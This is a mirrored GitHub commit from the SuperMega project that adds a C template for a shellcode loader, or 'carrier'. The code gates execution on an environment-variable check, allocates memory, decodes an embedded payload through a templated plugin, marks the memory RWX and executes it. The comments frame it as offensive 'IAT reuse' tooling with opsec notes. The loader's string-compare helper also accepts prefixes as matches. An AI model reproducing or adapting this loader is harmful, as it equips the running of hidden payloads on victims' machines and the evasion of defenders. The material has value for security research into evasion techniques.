mirror of
https://github.com/dobin/SuperMega
synced 2026-06-03 01:27:11 +00:00
feature: more and nicer carrier's
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@@ -0,0 +1,60 @@
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#include <Windows.h>
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#include <time.h>
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char *supermega_payload;
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#define p_RW 0x04
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#define p_RX 0x20
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#define p_RWX 0x40
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/* iat_reuse
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Standard IAT reuse shellcode
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* create new memory region for the payload
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* will set it to RWX (safe to run shellcodes, opsec-unsafe)
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*/
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int main()
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{
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// Execution Guardrail: Env Check
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wchar_t envVarName[] = L"USERPROFILE";
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wchar_t tocheck[] = L"C:\\Users\\hacker";
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WCHAR buffer[1024]; // NOTE: Do not make it bigger, or we have a __chkstack() dependency!
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DWORD result = GetEnvironmentVariableW(envVarName, buffer, 1024);
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if (result == 0) {
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return 6;
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}
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if (mystrcmp(buffer, tocheck) != 0) {
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return 6;
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}
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// Allocate 1
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// char *dest = ...
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char *dest = VirtualAlloc(NULL, {{PAYLOAD_LEN}}, 0x3000, p_RW);
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// Copy (and decode)
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// from: supermega_payload[]
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// to: dest[]
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{{ plugin_decoder }}
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if (VirtualProtect(dest, {{PAYLOAD_LEN}}, p_RWX, &result) == 0) {
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return 7;
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}
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// Execute *dest
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(*(void(*)())(dest))();
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return 0;
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}
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int mystrcmp(wchar_t* str1, wchar_t* str2) {
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int i = 0;
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while (str1[i] != L'\0' && str2[i] != L'\0') {
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if (str1[i] != str2[i]) {
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return 1;
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}
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i++;
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}
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return 0;
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}
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